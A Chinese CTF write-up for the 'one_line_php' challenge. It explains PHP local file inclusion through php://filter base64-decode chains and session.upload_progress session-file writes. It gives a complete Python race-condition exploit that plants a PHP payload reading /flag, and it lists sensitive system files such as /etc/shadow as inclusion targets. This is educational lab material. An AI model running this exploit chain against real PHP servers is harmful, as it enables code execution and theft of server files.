one_line_php-wp

one_line_php详细题解

题解过程

php 复制代码
<?php
  ($_=@$_GET['orange']) && @substr(file($_)[0],0,6) === '@<?php' ? include($_) : highlight_file(__FILE__);

拿到题目果真一行代码,把代码拆解成同等相同的多行代码

php 复制代码
<?php
$_ = @$_GET['orange'];

if ($_ && @substr(file($_)[0], 0, 6) === '@<?php') {
    include($_);
} else {
    highlight_file(__FILE__);
}

Get传参orange 前6个字符必须是@<?php,且是强比较,满足条件,实现文件包含,不满足就是显示源码

知道考点在文件包含,我们要知道文件包含这种类型的题目怎么去做

php文件包含(LFI) 参考:PHP 文件包含功能的利用与绕过策略全解析 - yuccun's blog

  • 自带的php文件(phpinfo.php,config.php)
  • 日志类文件(web日志:Apache/Nginx 的access.log,php日志:php_error.log,SSH 日志/var/log/auth.log)
  • linux系统自带文件(/etc/passwd,/etc/shadow,/proc/self/environ)
  • 临时缓存文件(php://input,php上传文件时生成的/tmp/php[随机字符]文件需竞争包含,会话临时文件:/var/lib/php/sessions/sess_[sessionID]注入代码后包含,缓存文件:如 APC 缓存、OPcache 缓存)

最先想到的是POST加php://input,尝试如下图

这里无法进行php://input,被include path阻止了,这时候就去考虑能否利用上传请求去新建临时文件

这里要了解php的一个机制就是哪怕你的php代码没有处理上传的逻辑也可以生成,请求结束后通常会被临时删除

根据这个思路,我们会发现请求后的文件删除------条件竞争

但是又会发现文件名我们不能随机获取所以,这个思路只能pass

接着去思考另一个常考点也就是**session文件生成**

首先我们要知道Session 文件生成得到关键点:

  • 大部分情况下必须有 session_start () 代码(但是有例外,往下看)
  • Session 放在哪里?都是看 session.save_path,这个值受操作系统和版本影响

这里可以看到 session.upload_progress这个功能,用于跟踪过文件上传的进度

参考:浅谈 SESSION_UPLOAD_PROGRESS 的利用-先知社区

第二个问题,如何使文件前六个字符是@?<php

这里还是比较好想到filter的协议的,?orange=php://filter/convert.base64-decode/resource=index.php

Include (file 函数也一样) 会读取 Index.php 内容,先用指定的编码器(这里是 base64 解码)处理文件内容,处理完后如果发现 <?php 才执行代码!

所以这里我们要怎么绕过@?<php?我们有没有办法消除 "upload_progress"?

Base64 原理:每 3 个字节(24 bit)为一组进行转换

为什么要避免 =?

  1. 这题是 php://filter 连续 base64-decode + session 噪声数据
  2. 带 = 的 payload 在这种环境更容易解码不稳定
  3. 所以常见做法就是"补齐到 27 倍数,让三层都无 =

convert.base64-decode 有一个很有趣的机制,遇到不是 base64 允许的字符会跳过,而不是报错!

?orange=php://filter/convert.base64-decode|convert.base64-decode|convert.base64-decode/resource=/tmp/sess_aaaabbbbccccdddd

os:感觉这里主要还是php代码的容错很高才能成功,其实这里不光三次base,rot13也可以,意思都差不多

exp

py 复制代码
import base64
import re
import requests

from race_helper import run_threads

HOST = "http://10.10.70.220:37593/"
SESSID = "iamorange"
FLAG_RE = re.compile(rb"flag\{[^}\r\n]{1,220}\}", re.I)


def make_payload():
    php = b"@<?php echo @file_get_contents('/flag');?>//"
    pad = (-len(php)) % 27  # 3层base64都不出现 '='
    raw = php + b"A" * pad

    x = raw
    for _ in range(3):
        x = base64.b64encode(x)
    return x.decode()


payload = make_payload()
headers = {
    "Connection": "close",
    "Cookie": f"PHPSESSID={SESSID}",
    "User-Agent": "Mozilla/5.0",
}
data = {"PHP_SESSION_UPLOAD_PROGRESS": "ZZ" + payload + "Z"}
files = {"f": ("a.txt", b"A" * (2 * 1024 * 1024), "application/octet-stream")}

session_files = [
    f"/var/lib/php/sessions/sess_{SESSID}",
    f"/tmp/sess_{SESSID}",
    f"/var/lib/php5/sess_{SESSID}",
    f"/var/lib/php/session/sess_{SESSID}",
]
filters = "convert.base64-decode|convert.base64-decode|convert.base64-decode"


def do_write(_stop):
    try:
        requests.post(HOST, headers=headers, data=data, files=files, timeout=5)
    except Exception:
        pass


def do_read(_stop):
    for sf in session_files:
        orange = f"php://filter/{filters}/resource={sf}"

        for q in ({"orange": orange}, {"a": "1", "orange": orange}):
            try:
                c = requests.get(HOST, headers=headers, params=q, timeout=4).content
                if not c:
                    continue
                if b"$_GET['orange']" in c or b"highlight_file" in c or b"<code><span" in c:
                    continue

                m = FLAG_RE.search(c)
                if m:
                    return m.group(0).decode(errors="ignore")
            except Exception:
                pass

    return None


def main():
    ans = run_threads(do_write, do_read, writers=32, readers=32, seconds=300)
    print(ans or "NOT_FOUND")


if __name__ == "__main__":
    main()

wp参考:文件包含漏洞CTF比赛one-line-php-challenge深度讲解_哔哩哔哩_bilibili

总结

  1. 文件包含 + php://filter 过滤链。
  2. session.upload_progress 会话文件写入。
  3. 条件竞争
  4. payload 编码稳定性(3 层 base64 + 避免 =)

这里了解到了php://filter 过滤链发现这个是真的强,又去学习了一下

参考:

浅谈Filter链 - 探姬的技术测试

Synacktiv/php_filter_chain_generator

相关推荐
星光开发者7 分钟前
基于springboot电动汽车租赁管理系统-计算机毕设 附源码 11217
javascript·spring boot·mysql·django·php·html5·express
Aision_23 分钟前
为什么 CTI 场景需要知识图谱?
人工智能·python·安全·web安全·langchain·prompt·知识图谱
xxjj998a38 分钟前
PHP vs C++:性能与用途全解析
php·laravel
HackTwoHub10 小时前
AI大模型网关存在SQL注入、附 POC 复现、影响版本LiteLLM 1.81.16~1.83.7(CVE-2026-42208)
数据库·人工智能·sql·网络安全·系统安全·网络攻击模型·安全架构
其实防守也摸鱼10 小时前
CTF密码学综合教学指南--第五章
开发语言·网络·笔记·python·安全·网络安全·密码学
HackTwoHub13 小时前
全新 AI 赋能网安平台 基于 Mitmproxy 流量分析自动化资产挖、轻量化综合渗透工具箱
人工智能·web安全·网络安全·系统安全·安全架构·sql注入
HackTwoHub15 小时前
Linux 内核史诗级本地提权 全网深度复现、原理完整分析( CVE-2026-31431)
linux·运维·安全·web安全·网络安全·代码审计·安全架构
X7x518 小时前
筑牢网络安全防线:Web应用防火墙(WAF)全面解析
web安全·网络安全·安全架构·waf
以太浮标18 小时前
华为eNSP模拟器综合实验之- MGRE多点GRE隧道详解
运维·网络·网络协议·网络安全·华为·信息与通信
菩提小狗19 小时前
每日安全情报报告 · 2026-05-03
网络安全·漏洞·cve·安全情报·每日安全